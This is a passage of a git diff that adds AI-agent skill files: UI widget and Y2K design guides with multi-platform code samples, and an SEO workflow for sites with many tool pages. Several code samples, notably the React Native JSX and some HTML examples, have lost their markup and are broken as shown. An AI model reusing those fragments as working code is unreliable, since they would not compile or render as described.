grid-row: span 2; } + +/* Weather Widget Example */ +.widget.weather { + background: linear-gradient(135deg, #4facfe 0%, #00f2fe 100%); + color: white; +} +.weather-temp { font-size: 3rem; font-weight: 300; } +.weather-icon { position: absolute; top: 16px; right: 16px; font-size: 2rem; } +``` + +## App Implementation + +### SwiftUI +```swift +struct WidgetDesignView: View { + let columns = [GridItem(.flexible(), spacing: 16), GridItem(.flexible(), spacing: 16)] + + var body: some View { + ScrollView { + LazyVGrid(columns: columns, spacing: 16) { + // 2x1 Widget + WeatherWidget() + .frame(height: 160) // Base unit height + + // 1x1 Widget + FitnessWidget() + .frame(height: 160) + + // 1x1 Widget + MusicWidget() + .frame(height: 160) + } + .padding(24) + } + .background(Color(white: 0.95)) + } +} + +struct WeatherWidget: View { + var body: some View { + ZStack(alignment: .topTrailing) { + LinearGradient(colors: [Color(hex: "4facfe"), Color(hex: "00f2fe")], startPoint: .topLeading, endPoint: .bottomTrailing) + + Image(systemName: "cloud.sun.fill") + .foregroundColor(.white) + .font(.system(size: 40)) + .padding() + + VStack(alignment: .leading) { + Spacer() + Text("72°") + .font(.system(size: 48, weight: .thin)) + .foregroundColor(.white) + Text("San Francisco") + .font(.subheadline) + .foregroundColor(.white.opacity(0.8)) + } + .frame(maxWidth: .infinity, alignment: .leading) + .padding() + } + .cornerRadius(24) // Classic iOS widget radius + .shadow(color: .black.opacity(0.1), radius: 10, y: 5) + } +} +``` +- SwiftUI is perfect for this. The `LazyVGrid` handles the layout, and `cornerRadius(24)` matches Apple's default widget styling perfectly. +- Use `ZStack` as the root of the widget to easily overlay content on top of complex gradients or images. + +### Flutter +```dart +class WidgetDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF2F2F2), + body: GridView.count( + crossAxisCount: 2, // 2 columns for a typical phone + padding: const EdgeInsets.all(24), + mainAxisSpacing: 16, + crossAxisSpacing: 16, + childAspectRatio: 1.0, // 1x1 squares + children: [ + // Note: Flutter GridView doesn't easily span rows/cols out of the box. + // flutter_staggered_grid_view is highly recommended for real widget layouts. + _buildWeatherWidget(), + _buildFitnessWidget(), + _buildMusicWidget(), + ], + ), + ); + } + + Widget _buildWeatherWidget() { + return Container( + decoration: BoxDecoration( + borderRadius: BorderRadius.circular(24), + gradient: const LinearGradient(colors: [Color(0xFF4FACFE), Color(0xFF00F2FE)]), + boxShadow: [BoxShadow(color: Colors.black.withOpacity(0.1), blurRadius: 10, offset: const Offset(0, 5))], + ), + padding: const EdgeInsets.all(16), + child: Stack( + children: [ + const Align( + alignment: Alignment.topRight, + child: Icon(Icons.cloud, color: Colors.white, size: 40), + ), + Align( + alignment: Alignment.bottomLeft, + child: Column( + mainAxisSize: MainAxisSize.min, + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('72°', style: TextStyle(color: Colors.white, fontSize: 48, fontWeight: FontWeight.w300)), + Text('San Francisco', style: TextStyle(color: Colors.white.withOpacity(0.8), fontSize: 14)), + ], + ), + ) + ], + ), + ); + } +} +``` +- A `Stack` inside a `Container` with `BorderRadius.circular(24)` is the blueprint for every widget. +- Standard `GridView` is too rigid for mixed 2x1 and 1x1 widgets. Use the `flutter_staggered_grid_view` package for production apps. + +### React Native +```jsx +const WidgetDesignScreen = () => { + return ( + + + + {/* 2x1 Widget (Full width minus padding) */} + + + 72° + San Francisco + + + {/* 1x1 Widgets (Half width minus half gap) */} + Fitness + Music + + + + ); +}; + +const styles = StyleSheet.create({ + widget: { + height: 160, // Fixed height forces square/rectangular aspect ratios + borderRadius: 24, + backgroundColor: '#FFF', + padding: 16, + justifyContent: 'flex-end', + shadowColor: '#000', shadowOffset: { width: 0, height: 5 }, shadowOpacity: 0.1, shadowRadius: 10, elevation: 5, + overflow: 'hidden' + }, + widgetBg: { + ...StyleSheet.absoluteFillObject, + borderRadius: 24, + }, + temp: { fontSize: 48, fontWeight: '300', color: '#FFF' }, + sub: { fontSize: 14, color: 'rgba(255,255,255,0.8)' } +}); +``` +- In React Native, `flexWrap: 'wrap'` combined with percentage widths (e.g., `47%` for 2 columns with a gap) is the cleanest way to build a responsive widget layout. +- If using `LinearGradient` from `expo-linear-gradient` or `react-native-linear-gradient`, apply `StyleSheet.absoluteFillObject` so it sits behind the text. + +### Jetpack Compose +```kotlin +@Composable +fun WidgetDesignScreen() { + LazyVerticalGrid( + columns = GridCells.Fixed(2), + modifier = Modifier.fillMaxSize().background(Color(0xFFF2F2F2)).padding(24.dp), + horizontalArrangement = Arrangement.spacedBy(16.dp), + verticalArrangement = Arrangement.spacedBy(16.dp) + ) { + // 2x1 Widget (Spans both columns) + item(span = { GridItemSpan(2) }) { + WeatherWidget(Modifier.height(160.dp)) + } + // 1x1 Widgets + item { Box(Modifier.height(160.dp).background(Color.White, RoundedCornerShape(24.dp))) } + item { Box(Modifier.height(160.dp).background(Color.White, RoundedCornerShape(24.dp))) } + } +} + +@Composable +fun WeatherWidget(modifier: Modifier = Modifier) { + Box( + modifier = modifier + .fillMaxWidth() + .shadow(10.dp, RoundedCornerShape(24.dp)) + .background(Brush.linearGradient(listOf(Color(0xFF4FACFE), Color(0xFF00F2FE))), RoundedCornerShape(24.dp)) + .padding(16.dp) + ) { + // Icon + Icon(Icons.Filled.Cloud, contentDescription = null, tint = Color.White, modifier = Modifier.align(Alignment.TopEnd).size(40.dp)) + + // Data + Column(modifier = Modifier.align(Alignment.BottomStart)) { + Text("72°", fontSize = 48.sp, fontWeight = FontWeight.Light, color = Color.White) + Text("San Francisco", fontSize = 14.sp, color = Color.White.copy(alpha = 0.8f)) + } + } +} +``` +- `LazyVerticalGrid` with `GridCells.Fixed(2)` and `GridItemSpan` perfectly recreate iOS widget grids. +- `RoundedCornerShape(24.dp)` is essential to sell the look. + +## Do's and Don'ts +- **DO**: Use full-bleed background colors to make different widgets stand out. +- **DON'T**: Put complex forms or scrollable lists inside a 1x1 widget. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/y2k-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/y2k-design/SKILL.md new file mode 100644 index 00000000..471c4366 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/y2k-design/SKILL.md @@ -0,0 +1,268 @@ +--- +name: y2k-design +description: Web and App implementation guide for Y2K Design. Trigger when user wants chrome effects, futuristic 2000s look, blob shapes, and tech optimism. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Y2K Design + +> "The optimistic, shiny future as imagined in 1999. Chrome, blobs, and alien tech." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Metallic & Chrome Effects**: Extensive use of silver, chrome, and shiny metallic gradients. +2. **Organic, Amorphous Shapes**: "Blob" architecture, curved intersecting lines, and liquid-like forms. +3. **Tech-Optimism**: Circuit board motifs, target crosshairs, and digital grid backgrounds. + +## Visual DNA +- **Colors**: Silver/chrome, bright cyan, hot pink, lime green. **Industrial Chic** mixed with neon accents works well. +- **Typography**: Extended (wide) sans-serifs, pixel fonts, or futuristic/alien display fonts (e.g., `Orbitron`, `Syncopate`). +- **Styling**: Outer glows, metallic bevels, and starry glints (sparkles). + +## Web Implementation +- Rely heavily on complex linear and radial gradients to simulate shiny metal. +- **CSS Example**: +```css +body { + background-color: #000000; + /* Digital grid background */ + background-image: linear-gradient(#333 1px, transparent 1px), + linear-gradient(90deg, #333 1px, transparent 1px); + background-size: 20px 20px; + color: #ffffff; + font-family: 'Syncopate', sans-serif; +} + +.y2k-chrome-text { + font-size: 4rem; + font-weight: 900; + text-transform: uppercase; + + /* Chrome gradient effect */ + background: linear-gradient( + to bottom, + #ffffff 0%, + #999999 45%, + #222222 50%, + #cccccc 55%, + #ffffff 100% + ); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + + /* Outer glow */ + filter: drop-shadow(0 0 10px rgba(0, 255, 255, 0.5)); +} + +.y2k-blob-btn { + background: linear-gradient(135deg, #00FFFF, #FF00FF); + border: none; + border-radius: 50% 20% / 10% 40%; /* Amorphous blob shape */ + padding: 20px 40px; + color: #fff; + font-weight: bold; + text-shadow: 1px 1px 2px #000; + box-shadow: 0 0 15px #FF00FF; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct Y2KDesignView: View { + // Chrome Gradient + let chromeGradient = LinearGradient( + colors: [Color.white, Color(white: 0.6), Color(white: 0.2), Color(white: 0.8), Color.white], + startPoint: .top, + endPoint: .bottom + ) + + var body: some View { + ZStack { + Color.black.ignoresSafeArea() + + VStack(spacing: 40) { + // Chrome Text + Text("Y2K FUTURE") + .font(.custom("Syncopate-Bold", size: 48)) + .foregroundStyle(chromeGradient) + // Cyan glow + .shadow(color: Color(hex: "00FFFF"), radius: 10, x: 0, y: 0) + + // Blob Button (Faked with Capsule in standard SwiftUI, requires Path for true blob) + Button(action: {}) { + Text("ENTER CORE") + .font(.custom("Orbitron-Bold", size: 20)) + .foregroundColor(.white) + .padding(.vertical, 20) + .padding(.horizontal, 40) + .background(LinearGradient(colors: [Color(hex: "00FFFF"), Color(hex: "FF00FF")], startPoint: .topLeading, endPoint: .bottomTrailing)) + .clipShape(Capsule()) + // Glow + .shadow(color: Color(hex: "FF00FF").opacity(0.8), radius: 15, x: 0, y: 0) + } + } + } + } +} +``` +- SwiftUI's `.foregroundStyle()` makes applying a complex multi-stop `LinearGradient` to text trivial, which is exactly how you build the Chrome Text effect. +- Add an un-offset `.shadow()` with a neon color to create the Y2K outer glow. + +### Flutter +```dart +class Y2KDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Chrome Text via ShaderMask + ShaderMask( + shaderCallback: (bounds) => const LinearGradient( + begin: Alignment.topCenter, end: Alignment.bottomCenter, + colors: [Colors.white, Color(0xFF999999), Color(0xFF222222), Color(0xFFCCCCCC), Colors.white], + stops: [0.0, 0.45, 0.5, 0.55, 1.0], + ).createShader(bounds), + child: const Text( + 'Y2K FUTURE', + style: TextStyle( + fontFamily: 'Syncopate', fontSize: 48, fontWeight: FontWeight.w900, color: Colors.white, + shadows: [Shadow(color: Color(0xFF00FFFF), blurRadius: 20)], // Glow + ), + ), + ), + const SizedBox(height: 40), + + // Neon Button + Container( + decoration: BoxDecoration( + gradient: const LinearGradient(colors: [Color(0xFF00FFFF), Color(0xFFFF00FF)]), + borderRadius: BorderRadius.circular(50), + boxShadow: const [BoxShadow(color: Color(0xFFFF00FF), blurRadius: 20)], + ), + child: ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + backgroundColor: Colors.transparent, shadowColor: Colors.transparent, + padding: const EdgeInsets.symmetric(horizontal: 40, vertical: 20), + ), + child: const Text('ENTER CORE', style: TextStyle(fontFamily: 'Orbitron', fontSize: 20, color: Colors.white)), + ), + ) + ], + ), + ), + ); + } +} +``` +- You MUST use `ShaderMask` with a complex multi-stop `LinearGradient` to render the metallic chrome effect on text in Flutter. +- The `stops` property `[0.0, 0.45, 0.5, 0.55, 1.0]` is the secret to a good metal gradient: a sharp contrast right in the middle simulates the horizon reflection on a cylinder. + +### React Native +```jsx +// REQUIRES: @react-native-masked-view/masked-view and react-native-linear-gradient +import MaskedView from '@react-native-masked-view/masked-view'; +import LinearGradient from 'react-native-linear-gradient'; + +const Y2KDesignScreen = () => { + return ( + + + {/* Chrome Text */} + + Y2K FUTURE} + > + + + + + {/* Neon Gradient Button */} + + + ENTER CORE + + + + + ); +}; +``` +- In React Native, you need the community `MaskedView` to apply a gradient to text. Create the `` in the `maskElement` prop, and put the `` inside as a child. +- Pass `locations` to the gradient to create the sharp metallic reflection line. + +### Jetpack Compose +```kotlin +@Composable +fun Y2KDesignScreen() { + Box( + modifier = Modifier.fillMaxSize().background(Color.Black), + contentAlignment = Alignment.Center + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + + // Chrome Text + Text( + text = "Y2K FUTURE", + fontSize = 48.sp, + fontFamily = FontFamily.SansSerif, // Replace with Syncopate + fontWeight = FontWeight.Black, + style = TextStyle( + // Apply Chrome Gradient to Text + brush = Brush.verticalGradient( + 0.0f to Color.White, + 0.45f to Color(0xFF999999), + 0.5f to Color(0xFF222222), + 0.55f to Color(0xFFCCCCCC), + 1.0f to Color.White + ), + shadow = Shadow(color = Color(0xFF00FFFF), blurRadius = 20f) // Glow + ) + ) + + Spacer(Modifier.height(40.dp)) + + // Neon Button + Box( + modifier = Modifier + .shadow(20.dp, CircleShape, ambientColor = Color(0xFFFF00FF), spotColor = Color(0xFFFF00FF)) + .background(Brush.linearGradient(listOf(Color(0xFF00FFFF), Color(0xFFFF00FF))), CircleShape) + .clickable { } + .padding(horizontal = 40.dp, vertical = 20.dp) + ) { + Text("ENTER CORE", color = Color.White, fontFamily = FontFamily.SansSerif, fontWeight = FontWeight.Bold, fontSize = 20.sp) + } + } + } +} +``` +- Jetpack Compose makes gradient text incredibly easy via `TextStyle(brush = ...)`. +- Provide specific color stops (`0.45f to ...`) to the `verticalGradient` to create the hard reflection line characteristic of 2000s chrome. + +## Do's and Don'ts +- **DO**: Use sparkles (✨) as decorative elements around headers and buttons. +- **DON'T**: Make it minimal. Y2K is fundamentally maximalist and flashy. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/tools-page-seo-optimizer/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/tools-page-seo-optimizer/SKILL.md new file mode 100644 index 00000000..84553528 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/tools-page-seo-optimizer/SKILL.md @@ -0,0 +1,616 @@ +--- +name: tools-page-seo-optimizer +description: "Framework-agnostic SEO workflow for any site with multiple tool, product, or feature pages. Covers duplicate content, unique meta tags, heading hierarchy, internal linking, URL slugs, E-E-A-T, content registry pattern for scaling 50–500 pages, and blog content strategy for position 50–68 keywords." +category: seo +risk: safe +source: community +source_type: community +author: whoisabhishekadhikari +date_added: "2026-06-19" +tags: [seo, tools-pages, product-pages, duplicate-content, content-registry, meta-tags, internal-linking, url-slugs, e-e-a-t, framework-agnostic] +tools: [claude-code, cursor, codex-cli, gemini-cli, opencode] +version: 1.0.0 +--- + +# Tools Page SEO Optimizer + +You are an expert in technical SEO and content strategy for sites with large collections of tool, product, or feature pages. Your workflow is framework-agnostic — applies to Django, Rails, Laravel, Express, Next.js, Nuxt, Astro, WordPress, and static HTML. + +Derived from a real audit that found 93 of 105 tool pages sharing identical template prose and ranking at average position 68. This skill is the playbook that fixes it. + +--- + +## Quick-Start Decision Tree + +``` +Full audit from scratch? → Run all phases in order +All tool pages rank the same? → Phase 2 (Content Registry) first +Meta titles/descriptions all generic? → Phase 1 (Meta Tags) +Tool pages buried / hard to navigate? → Phase 5 (Internal Linking) +Bad URL slugs? → Phase 6 (URL Slug Hygiene) +Site looks authorless to Google? → Phase 7 (E-E-A-T) +Stuck at position 50–68 on keywords? → Phase 9 (Blog Content Strategy) +Fixes deployed but unsure they're live? → Phase 10 (Live Verification) +``` + +--- + +## Phase 0 — Codebase Reconnaissance + +**Before writing any code**, locate these in the codebase. Names vary by framework — adapt. + +| What to find | Common locations | +|---|---| +| URL routing | `routes.rb`, `urls.py`, `routes/`, `pages/`, `app/` | +| Head / meta template | `_head.html`, `layout.js`, `base.html`, `app.blade.php` | +| Tool/page registry | config file, database seed, JSON, `lib/guides.js`, `data/tools.js` | + +**Answer these before writing a single line:** + +1. How are tool pages generated — static files, database loop, config registry, CMS? +2. Where is the shared template that renders ``, `<meta name="description">`, `<h1>`? +3. Does each tool have its own content fields, or does every tool fall back to the same template prose? +4. Is there a central list of all tool slugs you can iterate over programmatically? + +--- + +## Phase 1 — Meta Titles & Descriptions + +### The core problem + +Every tool page sharing the same `<title>` template with only the tool name swapped in +is the single most common reason tool sites rank poorly. Google treats near-identical titles +as duplicate pages and demotes all of them. + +### Title tag formula + +``` +{Tool Name} | {Specific Outcome} — {Brand} +``` + +| ✅ Good | ❌ Bad | +|---|---| +| `Meta Tag Generator \| Create Perfect SEO Titles Free — MySite` | `Meta Tag Generator - MySite Tools` | +| `Broken Link Finder \| Scan Any Page for Dead URLs — MySite` | `Broken Link Finder - Free Online Tool \| MySite` | + +**Rules:** +- ≤ 60 characters total +- Primary keyword in the first 40 characters +- Every tool has a **unique** title — no two tools share the same one +- Include "Free" where accurate — measurably improves CTR + +### Meta description formula + +``` +{What it does — one action sentence}. {Key differentiator}. {CTA}. +``` + +Example: `Scan any webpage for broken links in seconds. Checks internal and external URLs, +exports results as CSV. Free, no account needed.` + +**Rules:** +- 120–160 characters +- Action verbs: Generate, Scan, Check, Analyze, Convert, Build, Find +- Every tool gets a **custom** description — zero template filler + +### Implementation (any framework) + +```html +<!-- Generic template pattern --> +<title>{{ tool.meta_title | default(tool.name + " | " + site_name) }} + +``` + +### Validation script — run before every deploy + +```python +# validate_meta.py +import json, sys + +tools = json.load(open('data/tools.json')) +errors = [] + +for t in tools: + slug = t.get('slug', '?') + title = t.get('meta_title', '') + desc = t.get('meta_description', '') + if not title: errors.append(f"MISSING TITLE: {slug}") + elif len(title) > 60: errors.append(f"TITLE TOO LONG ({len(title)}): {slug}") + if not desc: errors.append(f"MISSING DESC: {slug}") + elif len(desc) < 120: errors.append(f"DESC TOO SHORT ({len(desc)}): {slug}") + elif len(desc) > 160: errors.append(f"DESC TOO LONG ({len(desc)}): {slug}") + +if errors: + print('\n'.join(errors)); sys.exit(1) +print(f"✅ All {len(tools)} tools passed meta validation") +``` + +--- + +## Phase 2 — Content Registry (The Highest-Leverage Fix) + +**Root cause of poor rankings on tool sites:** 80–95% of tool pages share identical +template prose. Google sees them as thin, near-duplicate pages and ranks none well. +Fix this before anything else. + +### Diagnosis + +```bash +# Find shared prose in your templates — if these strings appear in a shared template +# file, you have the problem +D1=$(grep -rn "powerful tool that helps" templates/ src/ 2>/dev/null | head -5) +[ -n "$D1" ] && echo " ✗ Shared template prose found" || echo " ✓ No shared prose" +D2=$(grep -rn "easy to use" templates/ src/ 2>/dev/null | head -5) +[ -n "$D2" ] && echo " ✗ Template filler found" +``` + +### Registry entry structure (framework-agnostic) + +```yaml +# data/tools/meta-tag-generator.yaml (or JSON, DB columns, JS object — adapt to your stack) +slug: meta-tag-generator +name: Meta Tag Generator +meta_title: "Meta Tag Generator | Create Perfect SEO Titles & Descriptions Free" +meta_description: "Generate optimized title tags and meta descriptions with live character + counters. Enforces Google's 60/160 char limits. Instant, free, no account needed." + +introduction: > + The meta tag generator creates the two most critical on-page SEO elements — + your title tag and meta description — with live character counters that enforce + Google's recommended limits before you publish. [80+ unique words minimum] + +best_practices: + - "Include your primary keyword within the first 40 characters of the title" + - "Write a unique description per page — duplicate descriptions waste crawl budget" + - "Use action verbs in descriptions: Generate, Find, Check, Analyze" + +how_to_steps: + - name: "Enter your page details" + text: "Type your target keyword, page topic, and a brief summary of the content" + - name: "Check the live character counters" + text: "Keep title ≤60 chars and description ≤160 chars" + - name: "Copy and paste the output" + text: "Paste the generated tags into your HTML section" + +faqs: + - q: "Does Google always use my meta description?" + a: "No — Google rewrites descriptions ~63% of the time. Write them anyway for + social shares and some SERPs." + - q: "What happens if my title is over 60 characters?" + a: "Google truncates it with an ellipsis, cutting off your message mid-sentence." + +related_tools: + - og-tag-generator + - schema-markup-generator + - heading-analyzer +``` + +### Minimum viable unique content per tool + +| Field | Minimum | Priority | +|---|---|---| +| `meta_title` | Unique, ≤60 chars | 🔴 Critical | +| `meta_description` | Unique, 120–160 chars | 🔴 Critical | +| `introduction` | 80+ unique words | 🔴 Critical | +| `best_practices` | 3–5 tool-specific items | 🟡 High | +| `how_to_steps` | 3 real steps for THIS tool | 🟡 High | +| `faqs` | 2 tool-specific Q&As | 🟡 High | +| `related_tools` | 2–4 slug references | 🟢 Medium | + +**Rule: complete one tool fully before starting the next.** + +--- + +## Phase 3 — H1 and Heading Hierarchy + +### H1 formula + +``` +{Tool Name} | {Outcome Phrase} +``` + +**Rules:** +- One `

` per page — only the tool name/title +- Must be unique per page + +### Heading hierarchy + +``` +h1 — Tool name (one per page) + h2 — Major sections: "How It Works", "Best Practices", "FAQs", "Related Tools" + h3 — Subsections: individual FAQ items, feature callouts, step headers +``` + +Never skip levels. No h1 → h3 without an h2. + +```bash +# Audit heading hierarchy on a live page +curl -s "https://yourdomain.com/tools/meta-tag-generator" \ + | grep -oE ']*>.*?' +``` + +--- + +## Phase 4 — Accessibility + +Accessibility failures lower Core Web Vitals scores — a direct ranking signal. + +Every icon-only interactive element needs `aria-label`: + +```html + + + +``` + +```bash +# Find icon-only buttons missing aria-label +B=$(grep -rn "/dev/null | grep -v "aria-label" | grep -v ">[A-Za-z]" | head -5) +[ -n "$B" ] && echo " ⚠ Icon buttons missing aria-label:" && echo "$B" || echo " ✓ Buttons have aria-labels" +``` + +--- + +## Phase 5 — Internal Linking + +Internal links between tools are how PageRank flows through your site. A tool with no +inbound internal links is effectively invisible to Google even with great content. + +### Hub-and-Spoke model + +``` +Homepage + └── Category: Keyword Tools + ├── Keyword Density Checker ←→ Keyword Suggestion Tool + └── SERP Preview Tool ←→ Meta Tag Generator + └── Category: Technical SEO + ├── XML Sitemap Visualizer ←→ Robots.txt Creator + └── Robots.txt Creator ←→ Redirect Generator +``` + +### Rules + +- Every tool links **to** at least 2 related tools (use `related_tools` from registry) +- Every tool is linked **from** at least 2 other tools or category pages +- No orphan tools — every tool reachable within 3 clicks from homepage + +```bash +# Orphan detection — tools with too few inbound references +for slug in $(cat data/slugs.txt 2>/dev/null); do + C=$(grep -rl "$slug" templates/ 2>/dev/null | wc -l | tr -d ' ') + [ "$C" -lt 2 ] && echo " ORPHAN RISK: $slug ($C refs)" +done +``` + +### Template implementation + +```html +{% if tool.related_tools %} +
+

Related Tools

+ {% for slug in tool.related_tools %} + {% set rel = get_tool(slug) %} + {{ rel.name }} — {{ rel.tagline }} + {% endfor %} +
+{% endif %} +``` + +--- + +## Phase 6 — URL Slug Hygiene + +| ✅ Good | ❌ Bad | Problem | +|---|---|---| +| `/tools/meta-tag-generator` | `/tools/tool-1` | No keywords | +| `/tools/keyword-density-checker` | `/tools/free-online-keyword-density-checker-tool-free` | Keyword stuffed | +| `/tools/broken-link-finder` | `/tools/brokenLinkFinder` | camelCase | + +**Formula:** `{primary-keyword-phrase}` — lowercase, hyphens, no stop words, no "free" / "online" / "tool" padding. + +```bash +# Audit — list longest slugs (likely stuffed) +curl -s "https://yourdomain.com/sitemap.xml" \ + | grep -oE '[^<]+' | sed 's///' \ + | grep "/tools/" \ + | awk -F'/tools/' '{print length($2), $2}' | sort -n | tail -20 +``` + +If renaming a slug, always 301 redirect old → new and update all internal links. + +--- + +## Phase 7 — E-E-A-T Signals + +Tool sites rank poorly when they look authorless and dateless. + +### Author byline + date (every tool page) + +```html + +``` + +### Trust pillars section + +```html +
+
100% Free — no account, no credit card
+
🔒 Privacy First — your data never leaves your browser
+
Instant Results — processed in under 1 second
+
+``` + +### About / author page + +Create `/about` with: real name, credentials, why you built the tools, contact info. +Link to it from every tool page byline. This is the single highest-impact E-E-A-T fix +for solo-built tool sites. + +--- + +## Phase 8 — Scaling to 100+ Tools + +When the content registry pattern is working for 10–20 tools, the next challenge is +scaling it to 100+ without losing quality or introducing duplicates. + +### Batch completion gate + +Never commit a partial batch. Before every commit touching tool content: + +```bash +# Count tools with introduction content vs total tools +python3 -c " +import json +tools = json.load(open('data/tools.json')) +total = len(tools) +done = sum(1 for t in tools if t.get('introduction','').strip()) +print(f'{done}/{total} tools have introduction content') +if done < total: + missing = [t['slug'] for t in tools if not t.get('introduction','').strip()] + print('Missing:', missing) +" +``` + +Only commit when the count is **100% complete**. A partial batch (e.g. 93/105) means +12 tools still have thin template prose — enough for Google to flag the site as inconsistent. + +### Batch writing order + +Prioritise tools in this order: +1. Tools already receiving impressions in Google Search Console (low-hanging fruit) +2. Tools in your most-linked categories (PageRank concentration) +3. Remaining tools alphabetically + +### Build verification before commit + +```bash +# Confirm build compiles cleanly after batch content additions +npm run build # Next.js / Nuxt +python manage.py check # Django +rails assets:precompile # Rails +# Zero errors = safe to commit +``` + +--- + +## Phase 9 — Blog Content Strategy (Position 50–68 Keywords) + +Tool pages rank well for transactional keywords ("meta tag generator", "check broken links"). +But informational keywords ("how to write meta descriptions", "what is keyword density") sit +at position 50–68 — too deep to get clicks — because tool pages aren't the right content +format for them. Blog posts are. + +### Diagnosis: find your 50–68 keywords + +In Google Search Console → Search Results → filter by Position > 49 AND Position < 69. +These are queries where you have enough authority to rank but the wrong page type is ranking. + +### Blog post targeting formula + +``` +Post title: {Informational keyword} — {Year} Guide +Target keyword: the exact query from GSC +Content length: 1,000–1,500 words +Internal links: link to 2–3 relevant tools from within the post body +``` + +Example mapping: + +| GSC keyword (pos 50–68) | Blog post title | Tool to link | +|---|---|---| +| "how to write meta descriptions" | "How to Write Meta Descriptions That Get Clicks (2025)" | meta-tag-generator | +| "what is keyword density" | "Keyword Density: What It Is and How to Check It" | keyword-density-checker | +| "how to find broken links" | "How to Find and Fix Broken Links on Any Website" | broken-link-finder | +| "xml sitemap best practices" | "XML Sitemap Best Practices for 2025" | xml-sitemap-visualizer | + +### Blog post structure (SEO-optimised) + +``` +H1: {Target keyword} — the exact GSC query, naturally phrased +Intro (100 words): answer the question directly in the first paragraph + H2: What is {topic}? + H2: Why it matters for SEO + H2: How to {action} — step by step + H3: Step 1 + H3: Step 2 + H3: Step 3 + H2: Common mistakes + H2: {Tool name} — try it free ← internal link to your tool +Conclusion: summarise + CTA to the tool +``` + +### Blog post meta requirements + +- `meta_title`: include year where relevant ("2025") — improves CTR on informational queries +- `meta_description`: answer the question in one sentence + "Free tool included" +- `canonical`: must point to the exact blog URL +- `datePublished` + `dateModified` in schema — critical for freshness signals + +### Internal link rule for blog posts + +Every blog post must contain at least **2 contextual inline links** to relevant tools, +not just a "Related Tools" sidebar. Inline links within body copy pass significantly +more PageRank than sidebar links. + +```html + +

Use our meta tag generator to preview +how your title and description appear in Google results before publishing.

+ + + +``` + +--- + +## Phase 10 — Live Deployment Verification + +A fix that compiles cleanly can still fail in production. After every push, verify +the live site — not just the build. + +```bash +seo:verify() { + local D="$1"; local F=0 + for p in "/" "/tools/meta-tag-generator" "/blog" "/category" "/privacy" "/terms"; do + local C=$(curl -so /dev/null -w "%{http_code}" "$D$p") + echo "$C $p"; [ "$C" = "200" ] || ((F++)) + done + local C=$(curl -so /dev/null -w "%{http_code}" "$D/tools/this-slug-does-not-exist-xyz") + echo "Soft 404 check: $C (expect 404)"; [ "$C" = "404" ] || { echo " ✗ Soft 404"; ((F++)); } + curl -s "$D/tools/meta-tag-generator" | grep -qi "canonical" && echo " ✓ Canonical present" || { echo " ✗ Canonical missing"; ((F++)); } + local C2=$(curl -so /dev/null -w "%{http_code}" "$D/favicon.ico") + echo "Favicon: $C2 (expect 200)"; [ "$C2" = "200" ] || { echo " ✗ Favicon missing"; ((F++)); } + local J=$(curl -s "$D/tools/meta-tag-generator" | grep -c "application/ld+json" || true) + [ "$J" -ge 1 ] && echo " ✓ Schema: $J blocks" || { echo " ✗ No schema found"; ((F++)); } + return $F +} +``` + +### Expected results + +| Check | Expected | +|---|---| +| All key pages | 200 | +| Invalid tool slug | 404 | +| `` present | Yes | +| `/favicon.ico` | 200 | +| `application/ld+json` blocks | ≥ 1 per tool page | + +If any check fails — **do not move on**. Diagnose and fix before the next phase. + +--- + +## Phase 11 — Pre-Commit Validation + +```bash +seo:validate() { + python3 validate_meta.py || return 1 + python3 -c " +import json +from collections import Counter +tools = json.load(open('data/tools.json', 'r')) +titles = [t.get('meta_title', '') for t in tools] +dups = [t for t, c in Counter(titles).items() if c > 1 and t] +print(dups) if dups else print('All titles unique') +" + python3 -c " +import json +tools = json.load(open('data/tools.json', 'r')) +missing = [t['slug'] for t in tools if not t.get('introduction', '').strip()] +print(f'Missing intro ({len(missing)}):', missing[:10]) +" +} +``` + +--- + +## Consolidated Runners + +```bash +# Quick check — meta validation + live site verification +seo:quick() { seo:verify "$PROD_URL" && seo:validate; } +# Full check — quick + duplicate title check +seo:full() { seo:quick; } +``` + +--- + +## Master Issue Control Table + +| # | Issue | Severity | Phase | +|---|---|---|---| +| 1 | Duplicate / template prose across tool pages | 🔴 Critical | 2 | +| 2 | Missing or generic meta titles | 🔴 Critical | 1 | +| 3 | Missing or generic meta descriptions | 🔴 Critical | 1 | +| 4 | H1 shared across all tools | 🔴 Critical | 3 | +| 5 | Orphan tool pages (no inbound internal links) | 🟡 High | 5 | +| 6 | Missing related tool links | 🟡 High | 5 | +| 7 | Keyword-stuffed or keywordless URL slugs | 🟡 High | 6 | +| 8 | No author byline or last-updated date | 🟡 High | 7 | +| 9 | Heading hierarchy violations | 🟢 Medium | 3 | +| 10 | Missing aria-labels on icon buttons | 🟢 Medium | 4 | + +--- + +## Best Practices + +| ✅ Do | ❌ Don't | +|-------|----------| +| Write unique meta title + description per tool | Use template prose shared across 80+ pages | +| Complete one tool's content fully before next | Batch-write partial entries across many tools | +| Link 2+ related tools from every tool page | Leave orphan tools with zero internal links | +| Use `{primary-keyword}` in URL slug | Pad slugs with "free" / "online" / "tool" | +| Add author byline + date to every tool page | Show authorless, dateless content | +| Blog about informational keywords (pos 